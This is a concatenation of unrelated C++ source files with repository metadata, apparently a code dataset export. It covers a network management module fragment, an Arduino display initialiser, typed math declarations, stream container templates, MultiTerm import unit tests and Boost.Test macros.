AEMgmt::initPointers() { /* FANotif = dynamic_cast<FANotifierBase*>( getModuleByPath("^.faNotifier") ); if (FANotif) { useFANotifier = true; this->par(DAF_PAR_USEFANOTIF) = true; } */ DAFEnrollNotif = dynamic_cast<DAFEnrollmentNotifierBase*>( getModuleByPath("^.enrollmentNotifier") ); if (DAFEnrollNotif) { useEnrollmentNotifier = true; this->par(DAF_PAR_USEENROLLNOTIF) = true; } } void AEMgmt::receiveData(CDAPMessage* msg) { Enter_Method("receiveData()"); //std::string xxx = FANotif->getFullPath(); //EnrollmentNotifier processing if (useEnrollmentNotifier && DAFEnrollNotif->isMessageProcessable(msg)) { DAFEnrollNotif->receiveMessage(msg); } //delete msg; } void AEMgmt::initSignalsAndListeners() { cModule* catcher1 = this->getParentModule(); //Signals that this module is emitting sigRIBDSendData = registerSignal(SIG_RIBD_DataSend); //Signals that this module is processing lisAEMgmtRcvData = new LisAEMgmtRcvData(this); catcher1->subscribe(SIG_CDAP_DateReceive, lisAEMgmtRcvData); } void AEMgmt::signalizeSendData(CDAPMessage* msg) { Enter_Method("signalizeSendData()"); //Check dstAddress if (msg->getDstAddr() == Address::UNSPECIFIED_ADDRESS) { EV << "Destination address cannot be UNSPECIFIED!" << endl; return; } msg->setBitLength(msg->getBitLength() + msg->getHeaderBitLength()); //Pass message to CDAP EV << "Emits SendData signal for message " << msg->getName() << endl; emit(sigRIBDSendData, msg); }
[ "tomas.hykel@acision.com" ]
tomas.hykel@acision.com
82af421e23c71f2837c891f31c15cf59b4ec6e01
bbe25c9797d4aab0472454788b88346bd2e04b8b
/libraries/LC_Screen/screen.cpp
f29727516ac175ef982562b8e4d6458a328b5943
[]
no_license
Stage53/Arduino
a5bde43475e18c9fe28ae4ae42b7fe501ac5da7f
fd861f943c5176d8ba19e657383ecdf38ba14e38
refs/heads/master
2020-07-28T05:04:08.966076
2019-09-18T11:18:54
2019-09-18T11:18:54
null
0
0
null
null
null
null
UTF-8
C++
false
false
1,135
cpp
#include "screen.h" #include "adafruit_1431_Obj.h" #include "adafruit_684_Obj.h" #include "adafruit_1947_Obj.h" #include <LC_SPI.h> #include <SD.h> displayObj* screen = NULL; bool initScreen(byte hardware, byte csPin, byte inRotation) { return initScreen(hardware,csPin, -1,inRotation); } bool initScreen(byte hardware,byte csPin,byte rsPin,byte inRotation) { switch (hardware) { case ADAFRUIT_684 : screen = (displayObj*) new adafruit_684_Obj(csPin,rsPin); if (screen) { if (screen->dispObjBegin()) { screen->setRotation(inRotation); return true; } } return false; break; case ADAFRUIT_1431 : screen = (displayObj*) new adafruit_1431_Obj(csPin,rsPin); if (screen) { if (screen->dispObjBegin()) { screen->setRotation(inRotation); return true; } } return false; break; case ADAFRUIT_1947 : screen = (displayObj*) new adafruit_1947_Obj(csPin,rsPin); if (screen) { if (screen->dispObjBegin()) { screen->setRotation(inRotation); return true; } } return false; break; default : return false; } }
[ "gitHub@leftcoast.biz" ]
gitHub@leftcoast.biz
566c2916145e1b7388913ee62be327b35c22737e
624511f6ad0cf17a2ba1a1ea1f25c3b139ce4295
/baselib/basecore/Lscext/vs/math.h
ab94f5d53bfb25928b509e4c66fd8f72ea034e32
[]
no_license
lightchainone/lightchain
7d90338d4a4e8d31d550c07bf380c06580941334
6fc7019c76a8b60d4fd63fba58fa79858856f66b
refs/heads/master
2021-05-11T05:47:17.672527
2019-12-16T09:51:39
2019-12-16T09:51:39
117,969,593
23
6
null
null
null
null
UTF-8
C++
false
false
13,961
h
#ifndef __BSL_VS_MATH_H__ #define __BSL_VS_MATH_H__ #include <Lsc/var/IVar.h> #include <Lsc/ResourcePool.h> namespace Lsc{ namespace vs{ Lsc::var::IVar& int8_equal( Lsc::var::IVar& args, Lsc::ResourcePool& rp ); Lsc::var::IVar& uint8_equal( Lsc::var::IVar& args, Lsc::ResourcePool& rp ); Lsc::var::IVar& int16_equal( Lsc::var::IVar& args, Lsc::ResourcePool& rp ); Lsc::var::IVar& uint16_equal( Lsc::var::IVar& args, Lsc::ResourcePool& rp ); Lsc::var::IVar& int32_equal( Lsc::var::IVar& args, Lsc::ResourcePool& rp ); Lsc::var::IVar& uint32_equal( Lsc::var::IVar& args, Lsc::ResourcePool& rp ); Lsc::var::IVar& int64_equal( Lsc::var::IVar& args, Lsc::ResourcePool& rp ); Lsc::var::IVar& uint64_equal( Lsc::var::IVar& args, Lsc::ResourcePool& rp ); Lsc::var::IVar& float_equal( Lsc::var::IVar& args, Lsc::ResourcePool& rp ); Lsc::var::IVar& dolcle_equal( Lsc::var::IVar& args, Lsc::ResourcePool& rp ); Lsc::var::IVar& int8_not_equal( Lsc::var::IVar& args, Lsc::ResourcePool& rp ); Lsc::var::IVar& uint8_not_equal( Lsc::var::IVar& args, Lsc::ResourcePool& rp ); Lsc::var::IVar& int16_not_equal( Lsc::var::IVar& args, Lsc::ResourcePool& rp ); Lsc::var::IVar& uint16_not_equal( Lsc::var::IVar& args, Lsc::ResourcePool& rp ); Lsc::var::IVar& int32_not_equal( Lsc::var::IVar& args, Lsc::ResourcePool& rp ); Lsc::var::IVar& uint32_not_equal( Lsc::var::IVar& args, Lsc::ResourcePool& rp ); Lsc::var::IVar& int64_not_equal( Lsc::var::IVar& args, Lsc::ResourcePool& rp ); Lsc::var::IVar& uint64_not_equal( Lsc::var::IVar& args, Lsc::ResourcePool& rp ); Lsc::var::IVar& float_not_equal( Lsc::var::IVar& args, Lsc::ResourcePool& rp ); Lsc::var::IVar& dolcle_not_equal( Lsc::var::IVar& args, Lsc::ResourcePool& rp ); Lsc::var::IVar& int8_less( Lsc::var::IVar& args, Lsc::ResourcePool& rp ); Lsc::var::IVar& uint8_less( Lsc::var::IVar& args, Lsc::ResourcePool& rp ); Lsc::var::IVar& int16_less( Lsc::var::IVar& args, Lsc::ResourcePool& rp ); Lsc::var::IVar& uint16_less( Lsc::var::IVar& args, Lsc::ResourcePool& rp ); Lsc::var::IVar& int32_less( Lsc::var::IVar& args, Lsc::ResourcePool& rp ); Lsc::var::IVar& uint32_less( Lsc::var::IVar& args, Lsc::ResourcePool& rp ); Lsc::var::IVar& int64_less( Lsc::var::IVar& args, Lsc::ResourcePool& rp ); Lsc::var::IVar& uint64_less( Lsc::var::IVar& args, Lsc::ResourcePool& rp ); Lsc::var::IVar& float_less( Lsc::var::IVar& args, Lsc::ResourcePool& rp ); Lsc::var::IVar& dolcle_less( Lsc::var::IVar& args, Lsc::ResourcePool& rp ); Lsc::var::IVar& int8_less_equal( Lsc::var::IVar& args, Lsc::ResourcePool& rp ); Lsc::var::IVar& uint8_less_equal( Lsc::var::IVar& args, Lsc::ResourcePool& rp ); Lsc::var::IVar& int16_less_equal( Lsc::var::IVar& args, Lsc::ResourcePool& rp ); Lsc::var::IVar& uint16_less_equal( Lsc::var::IVar& args, Lsc::ResourcePool& rp ); Lsc::var::IVar& int32_less_equal( Lsc::var::IVar& args, Lsc::ResourcePool& rp ); Lsc::var::IVar& uint32_less_equal( Lsc::var::IVar& args, Lsc::ResourcePool& rp ); Lsc::var::IVar& int64_less_equal( Lsc::var::IVar& args, Lsc::ResourcePool& rp ); Lsc::var::IVar& uint64_less_equal( Lsc::var::IVar& args, Lsc::ResourcePool& rp ); Lsc::var::IVar& float_less_equal( Lsc::var::IVar& args, Lsc::ResourcePool& rp ); Lsc::var::IVar& dolcle_less_equal( Lsc::var::IVar& args, Lsc::ResourcePool& rp ); Lsc::var::IVar& int8_greater( Lsc::var::IVar& args, Lsc::ResourcePool& rp ); Lsc::var::IVar& uint8_greater( Lsc::var::IVar& args, Lsc::ResourcePool& rp ); Lsc::var::IVar& int16_greater( Lsc::var::IVar& args, Lsc::ResourcePool& rp ); Lsc::var::IVar& uint16_greater( Lsc::var::IVar& args, Lsc::ResourcePool& rp ); Lsc::var::IVar& int32_greater( Lsc::var::IVar& args, Lsc::ResourcePool& rp ); Lsc::var::IVar& uint32_greater( Lsc::var::IVar& args, Lsc::ResourcePool& rp ); Lsc::var::IVar& int64_greater( Lsc::var::IVar& args, Lsc::ResourcePool& rp ); Lsc::var::IVar& uint64_greater( Lsc::var::IVar& args, Lsc::ResourcePool& rp ); Lsc::var::IVar& float_greater( Lsc::var::IVar& args, Lsc::ResourcePool& rp ); Lsc::var::IVar& dolcle_greater( Lsc::var::IVar& args, Lsc::ResourcePool& rp ); Lsc::var::IVar& int8_greater_equal( Lsc::var::IVar& args, Lsc::ResourcePool& rp ); Lsc::var::IVar& uint8_greater_equal( Lsc::var::IVar& args, Lsc::ResourcePool& rp ); Lsc::var::IVar& int16_greater_equal( Lsc::var::IVar& args, Lsc::ResourcePool& rp ); Lsc::var::IVar& uint16_greater_equal( Lsc::var::IVar& args, Lsc::ResourcePool& rp ); Lsc::var::IVar& int32_greater_equal( Lsc::var::IVar& args, Lsc::ResourcePool& rp ); Lsc::var::IVar& uint32_greater_equal( Lsc::var::IVar& args, Lsc::ResourcePool& rp ); Lsc::var::IVar& int64_greater_equal( Lsc::var::IVar& args, Lsc::ResourcePool& rp ); Lsc::var::IVar& uint64_greater_equal( Lsc::var::IVar& args, Lsc::ResourcePool& rp ); Lsc::var::IVar& float_greater_equal( Lsc::var::IVar& args, Lsc::ResourcePool& rp ); Lsc::var::IVar& dolcle_greater_equal( Lsc::var::IVar& args, Lsc::ResourcePool& rp ); Lsc::var::IVar& int8_add( Lsc::var::IVar& args, Lsc::ResourcePool& rp ); Lsc::var::IVar& uint8_add( Lsc::var::IVar& args, Lsc::ResourcePool& rp ); Lsc::var::IVar& int16_add( Lsc::var::IVar& args, Lsc::ResourcePool& rp ); Lsc::var::IVar& uint16_add( Lsc::var::IVar& args, Lsc::ResourcePool& rp ); Lsc::var::IVar& int32_add( Lsc::var::IVar& args, Lsc::ResourcePool& rp ); Lsc::var::IVar& uint32_add( Lsc::var::IVar& args, Lsc::ResourcePool& rp ); Lsc::var::IVar& int64_add( Lsc::var::IVar& args, Lsc::ResourcePool& rp ); Lsc::var::IVar& uint64_add( Lsc::var::IVar& args, Lsc::ResourcePool& rp ); Lsc::var::IVar& float_add( Lsc::var::IVar& args, Lsc::ResourcePool& rp ); Lsc::var::IVar& dolcle_add( Lsc::var::IVar& args, Lsc::ResourcePool& rp ); Lsc::var::IVar& int8_slc( Lsc::var::IVar& args, Lsc::ResourcePool& rp ); Lsc::var::IVar& uint8_slc( Lsc::var::IVar& args, Lsc::ResourcePool& rp ); Lsc::var::IVar& int16_slc( Lsc::var::IVar& args, Lsc::ResourcePool& rp ); Lsc::var::IVar& uint16_slc( Lsc::var::IVar& args, Lsc::ResourcePool& rp ); Lsc::var::IVar& int32_slc( Lsc::var::IVar& args, Lsc::ResourcePool& rp ); Lsc::var::IVar& uint32_slc( Lsc::var::IVar& args, Lsc::ResourcePool& rp ); Lsc::var::IVar& int64_slc( Lsc::var::IVar& args, Lsc::ResourcePool& rp ); Lsc::var::IVar& uint64_slc( Lsc::var::IVar& args, Lsc::ResourcePool& rp ); Lsc::var::IVar& float_slc( Lsc::var::IVar& args, Lsc::ResourcePool& rp ); Lsc::var::IVar& dolcle_slc( Lsc::var::IVar& args, Lsc::ResourcePool& rp ); Lsc::var::IVar& int8_mul( Lsc::var::IVar& args, Lsc::ResourcePool& rp ); Lsc::var::IVar& uint8_mul( Lsc::var::IVar& args, Lsc::ResourcePool& rp ); Lsc::var::IVar& int16_mul( Lsc::var::IVar& args, Lsc::ResourcePool& rp ); Lsc::var::IVar& uint16_mul( Lsc::var::IVar& args, Lsc::ResourcePool& rp ); Lsc::var::IVar& int32_mul( Lsc::var::IVar& args, Lsc::ResourcePool& rp ); Lsc::var::IVar& uint32_mul( Lsc::var::IVar& args, Lsc::ResourcePool& rp ); Lsc::var::IVar& int64_mul( Lsc::var::IVar& args, Lsc::ResourcePool& rp ); Lsc::var::IVar& uint64_mul( Lsc::var::IVar& args, Lsc::ResourcePool& rp ); Lsc::var::IVar& float_mul( Lsc::var::IVar& args, Lsc::ResourcePool& rp ); Lsc::var::IVar& dolcle_mul( Lsc::var::IVar& args, Lsc::ResourcePool& rp ); Lsc::var::IVar& int8_div( Lsc::var::IVar& args, Lsc::ResourcePool& rp ); Lsc::var::IVar& uint8_div( Lsc::var::IVar& args, Lsc::ResourcePool& rp ); Lsc::var::IVar& int16_div( Lsc::var::IVar& args, Lsc::ResourcePool& rp ); Lsc::var::IVar& uint16_div( Lsc::var::IVar& args, Lsc::ResourcePool& rp ); Lsc::var::IVar& int32_div( Lsc::var::IVar& args, Lsc::ResourcePool& rp ); Lsc::var::IVar& uint32_div( Lsc::var::IVar& args, Lsc::ResourcePool& rp ); Lsc::var::IVar& int64_div( Lsc::var::IVar& args, Lsc::ResourcePool& rp ); Lsc::var::IVar& uint64_div( Lsc::var::IVar& args, Lsc::ResourcePool& rp ); Lsc::var::IVar& float_div( Lsc::var::IVar& args, Lsc::ResourcePool& rp ); Lsc::var::IVar& dolcle_div( Lsc::var::IVar& args, Lsc::ResourcePool& rp ); Lsc::var::IVar& int8_mod( Lsc::var::IVar& args, Lsc::ResourcePool& rp ); Lsc::var::IVar& uint8_mod( Lsc::var::IVar& args, Lsc::ResourcePool& rp ); Lsc::var::IVar& int16_mod( Lsc::var::IVar& args, Lsc::ResourcePool& rp ); Lsc::var::IVar& uint16_mod( Lsc::var::IVar& args, Lsc::ResourcePool& rp ); Lsc::var::IVar& int32_mod( Lsc::var::IVar& args, Lsc::ResourcePool& rp ); Lsc::var::IVar& uint32_mod( Lsc::var::IVar& args, Lsc::ResourcePool& rp ); Lsc::var::IVar& int64_mod( Lsc::var::IVar& args, Lsc::ResourcePool& rp ); Lsc::var::IVar& uint64_mod( Lsc::var::IVar& args, Lsc::ResourcePool& rp ); Lsc::var::IVar& int8_add_assign( Lsc::var::IVar& args, Lsc::ResourcePool& ); Lsc::var::IVar& uint8_add_assign( Lsc::var::IVar& args, Lsc::ResourcePool& ); Lsc::var::IVar& int16_add_assign( Lsc::var::IVar& args, Lsc::ResourcePool& ); Lsc::var::IVar& uint16_add_assign( Lsc::var::IVar& args, Lsc::ResourcePool& ); Lsc::var::IVar& int32_add_assign( Lsc::var::IVar& args, Lsc::ResourcePool& ); Lsc::var::IVar& uint32_add_assign( Lsc::var::IVar& args, Lsc::ResourcePool& ); Lsc::var::IVar& int64_add_assign( Lsc::var::IVar& args, Lsc::ResourcePool& ); Lsc::var::IVar& uint64_add_assign( Lsc::var::IVar& args, Lsc::ResourcePool& ); Lsc::var::IVar& float_add_assign( Lsc::var::IVar& args, Lsc::ResourcePool& ); Lsc::var::IVar& dolcle_add_assign( Lsc::var::IVar& args, Lsc::ResourcePool& ); Lsc::var::IVar& int8_slc_assign( Lsc::var::IVar& args, Lsc::ResourcePool& ); Lsc::var::IVar& uint8_slc_assign( Lsc::var::IVar& args, Lsc::ResourcePool& ); Lsc::var::IVar& int16_slc_assign( Lsc::var::IVar& args, Lsc::ResourcePool& ); Lsc::var::IVar& uint16_slc_assign( Lsc::var::IVar& args, Lsc::ResourcePool& ); Lsc::var::IVar& int32_slc_assign( Lsc::var::IVar& args, Lsc::ResourcePool& ); Lsc::var::IVar& uint32_slc_assign( Lsc::var::IVar& args, Lsc::ResourcePool& ); Lsc::var::IVar& int64_slc_assign( Lsc::var::IVar& args, Lsc::ResourcePool& ); Lsc::var::IVar& uint64_slc_assign( Lsc::var::IVar& args, Lsc::ResourcePool& ); Lsc::var::IVar& float_slc_assign( Lsc::var::IVar& args, Lsc::ResourcePool& ); Lsc::var::IVar& dolcle_slc_assign( Lsc::var::IVar& args, Lsc::ResourcePool& ); Lsc::var::IVar& int8_mul_assign( Lsc::var::IVar& args, Lsc::ResourcePool& ); Lsc::var::IVar& uint8_mul_assign( Lsc::var::IVar& args, Lsc::ResourcePool& ); Lsc::var::IVar& int16_mul_assign( Lsc::var::IVar& args, Lsc::ResourcePool& ); Lsc::var::IVar& uint16_mul_assign( Lsc::var::IVar& args, Lsc::ResourcePool& ); Lsc::var::IVar& int32_mul_assign( Lsc::var::IVar& args, Lsc::ResourcePool& ); Lsc::var::IVar& uint32_mul_assign( Lsc::var::IVar& args, Lsc::ResourcePool& ); Lsc::var::IVar& int64_mul_assign( Lsc::var::IVar& args, Lsc::ResourcePool& ); Lsc::var::IVar& uint64_mul_assign( Lsc::var::IVar& args, Lsc::ResourcePool& ); Lsc::var::IVar& float_mul_assign( Lsc::var::IVar& args, Lsc::ResourcePool& ); Lsc::var::IVar& dolcle_mul_assign( Lsc::var::IVar& args, Lsc::ResourcePool& ); Lsc::var::IVar& int8_div_assign( Lsc::var::IVar& args, Lsc::ResourcePool& ); Lsc::var::IVar& uint8_div_assign( Lsc::var::IVar& args, Lsc::ResourcePool& ); Lsc::var::IVar& int16_div_assign( Lsc::var::IVar& args, Lsc::ResourcePool& ); Lsc::var::IVar& uint16_div_assign( Lsc::var::IVar& args, Lsc::ResourcePool& ); Lsc::var::IVar& int32_div_assign( Lsc::var::IVar& args, Lsc::ResourcePool& ); Lsc::var::IVar& uint32_div_assign( Lsc::var::IVar& args, Lsc::ResourcePool& ); Lsc::var::IVar& int64_div_assign( Lsc::var::IVar& args, Lsc::ResourcePool& ); Lsc::var::IVar& uint64_div_assign( Lsc::var::IVar& args, Lsc::ResourcePool& ); Lsc::var::IVar& float_div_assign( Lsc::var::IVar& args, Lsc::ResourcePool& ); Lsc::var::IVar& dolcle_div_assign( Lsc::var::IVar& args, Lsc::ResourcePool& ); Lsc::var::IVar& int8_mod_assign( Lsc::var::IVar& args, Lsc::ResourcePool& ); Lsc::var::IVar& uint8_mod_assign( Lsc::var::IVar& args, Lsc::ResourcePool& ); Lsc::var::IVar& int16_mod_assign( Lsc::var::IVar& args, Lsc::ResourcePool& ); Lsc::var::IVar& uint16_mod_assign( Lsc::var::IVar& args, Lsc::ResourcePool& ); Lsc::var::IVar& int32_mod_assign( Lsc::var::IVar& args, Lsc::ResourcePool& ); Lsc::var::IVar& uint32_mod_assign( Lsc::var::IVar& args, Lsc::ResourcePool& ); Lsc::var::IVar& int64_mod_assign( Lsc::var::IVar& args, Lsc::ResourcePool& ); Lsc::var::IVar& uint64_mod_assign( Lsc::var::IVar& args, Lsc::ResourcePool& ); Lsc::var::IVar& import_math( Lsc::var::IVar& args, Lsc::ResourcePool& rp ); }} #endif
[ "lightchainone@hotmail.com" ]
lightchainone@hotmail.com
c949dbadccc9ca39b1e682fd2d81d7f4cfcef936
a4ee06bd408862827bd0dcbb905a213b45bf593b
/LIB/lex/v2/io.hpp
1936eb63eb007fb543c485de97a91cd4e0082e96
[]
no_license
davekessener/VirtualMachine
1a6b3af761e2763eebd1d61010fda517f51167d5
61679dd47f17246cad8261781000cf4aca5bfe14
refs/heads/master
2021-01-17T14:53:55.771007
2016-05-29T13:15:33
2016-05-29T13:15:33
14,454,172
0
1
null
null
null
null
UTF-8
C++
false
false
3,056
hpp
#ifndef DAV_IO_H #define DAV_IO_H #include <string> #include <iosfwd> #include <iterator> #include <memory> #include <cassert> #include "lib.hpp" namespace dav { namespace io { template<typename T> class ReadContainer { public: virtual ~ReadContainer( ) { } virtual size_t pos( ) const { return -1; } virtual T& top( ) = 0; virtual void pop( ) = 0; virtual bool empty( ) const = 0; }; template<typename T, typename Alloc = std::allocator<T>> class IStreamContainer : public ReadContainer<T> { public: explicit IStreamContainer(std::istream_iterator<T> i) : i_(i), e_(std::istream_iterator<T>()), isb_(false), buf_(alloc_.allocate(1)) { } explicit IStreamContainer(std::istream& is) : IStreamContainer(std::istream_iterator<T>(is)) { } virtual ~IStreamContainer( ) { clear(); alloc_.deallocate(buf_, 1); } T& top( ) { check(); if(!isb_) { new(buf_) T(*i_); isb_ = true; } return *buf_; } void pop( ) { check(); clear(); ++i_; } bool empty( ) const { return i_ == e_; } private: void check( ) const { if(i_ == e_) throw std::string("istream empty!"); } void clear( ) { if(isb_) { isb_ = false; buf_->~T(); } } private: std::istream_iterator<T> i_, e_; Alloc alloc_; bool isb_; T *buf_; }; template<typename I> class IteratorInput : public ReadContainer<typename deref_traits<I>::type> { public: typedef typename deref_traits<I>::type value_type; public: IteratorInput(const I& i1, const I& i2) : i1_(i1), i2_(i2), p_(0) { } virtual bool empty( ) const { return i1_ == i2_; } virtual size_t pos( ) const { return p_; } virtual const value_type& top( ) const { assert(i1_!=i2_); return *i1_; } virtual void pop( ) { assert(i1_!=i2_); ++i1_; ++p_; } private: I i1_, i2_; size_t p_; }; // # =========================================================================== template<typename T> class WriteContainer { public: virtual ~WriteContainer( ) { } virtual void reserve(size_t) { } virtual void push(const T&) = 0; virtual size_t size( ) const = 0; private: }; template<typename T, void (T::*push_f)(const typename T::value_type&) = &T::push_back> class WriteSTLContainer : public WriteContainer<typename T::value_type> { public: typedef typename T::value_type value_type; public: WriteSTLContainer(T& t) : t_(t) { } void push(const value_type& t) { (t_.*push_f)(t); } size_t size( ) const { return t_.size(); } private: T &t_; }; template<typename T> using DefWriteSTLContainer = WriteSTLContainer<T>; template<typename T> class OStreamContainer : public WriteContainer<T> { public: explicit OStreamContainer(std::ostream_iterator<T> i) : i_(i), s_(0) { } explicit OStreamContainer(std::ostream& os) : i_(std::ostream_iterator<T>(os)), s_(0) { } void push(const T& t) { *i_ = t; ++i_; ++s_; } size_t size( ) const { return s_; } private: std::ostream_iterator<T> i_; size_t s_; }; } } #endif
[ "BroSkylark@gmail.com" ]
BroSkylark@gmail.com
432ca1e42f0ed88c5347f02ab61e0a241bd256ab
f9b45fd409384de3c69d68c62c0f21d9196e6927
/Felix/ImportMultitermFile_test.cpp
92fed49b06250a4a3fdcbcad06860fd1fd50a6c7
[ "MIT" ]
permissive
ultimatezen/felix
04799eb666b54e2eeea961dc983cf3721f5182de
5a7ad298ca4dcd5f1def05c60ae3c84519ec54c4
refs/heads/master
2020-04-08T14:21:02.872525
2016-02-16T01:18:11
2016-02-16T01:18:11
159,433,144
0
1
null
null
null
null
SHIFT_JIS
C++
false
false
2,885
cpp
#include "StdAfx.h" #include "ImportMultitermFile.h" #include "MockListener.h" #include "memory_local.h" #include "felix_factory.h" #ifdef UNIT_TEST #include <boost/test/unit_test.hpp> #include "input_device_fake.h" BOOST_AUTO_TEST_SUITE( TestCImportMultitermFile ) using namespace mem_engine ; BOOST_AUTO_TEST_CASE( instantiate ) { CMockListener listener ; CImportMultitermFile importer(&listener, app_props::get_props()) ; BOOST_CHECK(true) ; } BOOST_AUTO_TEST_CASE( get_multiterm55_line) { CMockListener listener ; CImportMultitermFile importer(&listener, app_props::get_props()) ; string text = "<English>Foo\r\n" ; c_reader reader ; reader.set_buffer(text.c_str()) ; const strcols cols = importer.get_multiterm55_line(reader) ; BOOST_CHECK_EQUAL("English", string(cols.get<0>().c_str())) ; BOOST_CHECK_EQUAL("Foo", string(cols.get<1>().c_str())) ; } BOOST_AUTO_TEST_CASE( import_multiterm_55_text) { CMockListener listener ; CImportMultitermFile importer(&listener, app_props::get_props()) ; string text = "<English>Foo\r\n" ; text += "<Japanese>Japanese\r\n" ; text += "<Notes>Context\r\n" ; text += "**" ; text += "<English>Bar\r\n" ; text += "<Japanese>Chinese\r\n" ; text += "<Notes>Context\r\n" ; text += "**" ; c_reader reader ; reader.set_buffer(text.c_str()) ; string source_lang = "English" ; string trans_lang = "Japanese" ; mem_engine::memory_pointer mem = FelixFactory().make_memory() ; importer.import_multiterm_55_text(reader, source_lang, trans_lang, mem) ; BOOST_CHECK_EQUAL(2u, mem->size()) ; //BOOST_CHECK_EQUAL(L"English", mem->get_memory_info()->get_source_language()) ; } BOOST_AUTO_TEST_CASE( import_multiterm_6_text) { CMockListener listener ; CImportMultitermFile importer(&listener, app_props::get_props()) ; wstring text = L"Japanese\tEnglish\tNotes\r\n" ; text += L"適用\tApply\tsyngo Basic\r\n" ; text += L"スキャン数\tNumber of Scans\tsyngo Basic\r\n" ; importer.import_multiterm_6_text(text.c_str()) ; BOOST_CHECK_EQUAL(2u, importer.m_memory->size()) ; BOOST_CHECK_EQUAL(L"English", importer.m_memory->get_memory_info()->get_source_language()) ; } BOOST_AUTO_TEST_CASE( get_multiterm6_line) { CMockListener listener ; CImportMultitermFile importer(&listener, app_props::get_props()) ; wstring text = L"spam\teggs\tcontext\r\n" ; textstream_reader<wchar_t> reader ; reader.set_buffer(text.c_str()) ; const wstrcols cols = importer.get_multiterm6_line(reader) ; BOOST_CHECK_EQUAL("spam", string(string2string(cols.get<0>()).c_str())) ; BOOST_CHECK_EQUAL("eggs", string(string2string(cols.get<1>()).c_str())) ; BOOST_CHECK_EQUAL("context", string(string2string(cols.get<2>()).c_str())) ; } BOOST_AUTO_TEST_SUITE_END() #endif // #ifdef UNIT_TEST
[ "software@ginstrom.com" ]
software@ginstrom.com
fbd2105467bf29f35138f0da9f39e5577162e837
73cfd700522885a3fec41127e1f87e1b78acd4d3
/_Include/boost/test/tools/old/interface.hpp
1501c6a1beebcba3dae0d28f020951ab8bbb2ccc
[]
no_license
pu2oqa/muServerDeps
88e8e92fa2053960671f9f57f4c85e062c188319
92fcbe082556e11587887ab9d2abc93ec40c41e4
refs/heads/master
2023-03-15T12:37:13.995934
2019-02-04T10:07:14
2019-02-04T10:07:14
null
0
0
null
null
null
null
UTF-8
C++
false
false
16,087
hpp
//////////////////////////////////////////////////////////////////////////////// // interface.hpp // (C) Copyright Gennadiy Rozental 2001-2014. // Distributed under the Boost Software License, Version 1.0. // (See accompanying file LICENSE_1_0.txt or copy at // http://www.boost.org/LICENSE_1_0.txt) // See http://www.boost.org/libs/test for the library home page. // // File : $RCSfile$ // // Version : $Revision: 81247 $ // // Description : contains definition for all test tools in old test toolbox // *************************************************************************** #ifndef BOOST_TEST_TOOLS_OLD_INTERFACE_HPP_111712GER #define BOOST_TEST_TOOLS_OLD_INTERFACE_HPP_111712GER // Boost #include <boost/preprocessor/seq/for_each.hpp> #include <boost/preprocessor/seq/size.hpp> #include <boost/preprocessor/seq/to_tuple.hpp> #include <boost/test/detail/suppress_warnings.hpp> //____________________________________________________________________________// // ************************************************************************** // // ************** TOOL BOX ************** // // ************************************************************************** // // In macros below following argument abbreviations are used: // P - predicate // M - message // S - statement // E - exception // L - left argument // R - right argument // TL - tool level // CT - check type // ARGS - arguments list (as PP sequence) // frwd_type: // 0 - args exists and need to be forwarded; call check_frwd // 1 - args exists, but do not need to be forwarded; call report_assertion directly // 2 - no arguments; call report_assertion directly #define BOOST_TEST_TOOL_PASS_PRED0( P, ARGS ) P #define BOOST_TEST_TOOL_PASS_PRED1( P, ARGS ) P BOOST_PP_SEQ_TO_TUPLE(ARGS) #define BOOST_TEST_TOOL_PASS_PRED2( P, ARGS ) P #define BOOST_TEST_TOOL_PASS_ARG( r, _, arg ) , arg, BOOST_STRINGIZE( arg ) #define BOOST_TEST_TOOL_PASS_ARG_DSCR( r, _, arg ) , BOOST_STRINGIZE( arg ) #define BOOST_TEST_TOOL_PASS_ARGS0( ARGS ) \ BOOST_PP_SEQ_FOR_EACH( BOOST_TEST_TOOL_PASS_ARG, _, ARGS ) #define BOOST_TEST_TOOL_PASS_ARGS1( ARGS ) \ , BOOST_PP_SEQ_SIZE(ARGS) BOOST_PP_SEQ_FOR_EACH( BOOST_TEST_TOOL_PASS_ARG_DSCR, _, ARGS ) #define BOOST_TEST_TOOL_PASS_ARGS2( ARGS ) \ , 0 #define BOOST_TEST_TOOL_IMPL( frwd_type, P, assertion_descr, TL, CT, ARGS ) \ do { \ BOOST_TEST_PASSPOINT(); \ ::boost::test_tools::tt_detail:: \ BOOST_PP_IF( frwd_type, report_assertion, check_frwd ) ( \ BOOST_JOIN( BOOST_TEST_TOOL_PASS_PRED, frwd_type )( P, ARGS ), \ BOOST_TEST_LAZY_MSG( assertion_descr ), \ BOOST_TEST_L(__FILE__), \ static_cast<std::size_t>(__LINE__), \ ::boost::test_tools::tt_detail::TL, \ ::boost::test_tools::tt_detail::CT \ BOOST_JOIN( BOOST_TEST_TOOL_PASS_ARGS, frwd_type )( ARGS ) ); \ } while( ::boost::test_tools::tt_detail::dummy_cond() ) \ /**/ //____________________________________________________________________________// #define BOOST_WARN( P ) BOOST_TEST_TOOL_IMPL( 2, \ (P), BOOST_TEST_STRINGIZE( P ), WARN, CHECK_PRED, _ ) #define BOOST_CHECK( P ) BOOST_TEST_TOOL_IMPL( 2, \ (P), BOOST_TEST_STRINGIZE( P ), CHECK, CHECK_PRED, _ ) #define BOOST_REQUIRE( P ) BOOST_TEST_TOOL_IMPL( 2, \ (P), BOOST_TEST_STRINGIZE( P ), REQUIRE, CHECK_PRED, _ ) //____________________________________________________________________________// #define BOOST_WARN_MESSAGE( P, M ) BOOST_TEST_TOOL_IMPL( 2, (P), M, WARN, CHECK_MSG, _ ) #define BOOST_CHECK_MESSAGE( P, M ) BOOST_TEST_TOOL_IMPL( 2, (P), M, CHECK, CHECK_MSG, _ ) #define BOOST_REQUIRE_MESSAGE( P, M ) BOOST_TEST_TOOL_IMPL( 2, (P), M, REQUIRE, CHECK_MSG, _ ) //____________________________________________________________________________// #define BOOST_ERROR( M ) BOOST_CHECK_MESSAGE( false, M ) #define BOOST_FAIL( M ) BOOST_REQUIRE_MESSAGE( false, M ) //____________________________________________________________________________// #define BOOST_CHECK_THROW_IMPL( S, E, P, prefix, TL ) \ do { \ try { \ BOOST_TEST_PASSPOINT(); \ S; \ BOOST_TEST_TOOL_IMPL( 2, false, "exception " BOOST_STRINGIZE(E) " is expected", \ TL, CHECK_MSG, _ ); \ } catch( E const& ex ) { \ ::boost::unit_test::ut_detail::ignore_unused_variable_warning( ex ); \ BOOST_TEST_TOOL_IMPL( 2, P, prefix BOOST_STRINGIZE( E ) " is caught", \ TL, CHECK_MSG, _ ); \ } \ } while( ::boost::test_tools::tt_detail::dummy_cond() ) \ /**/ 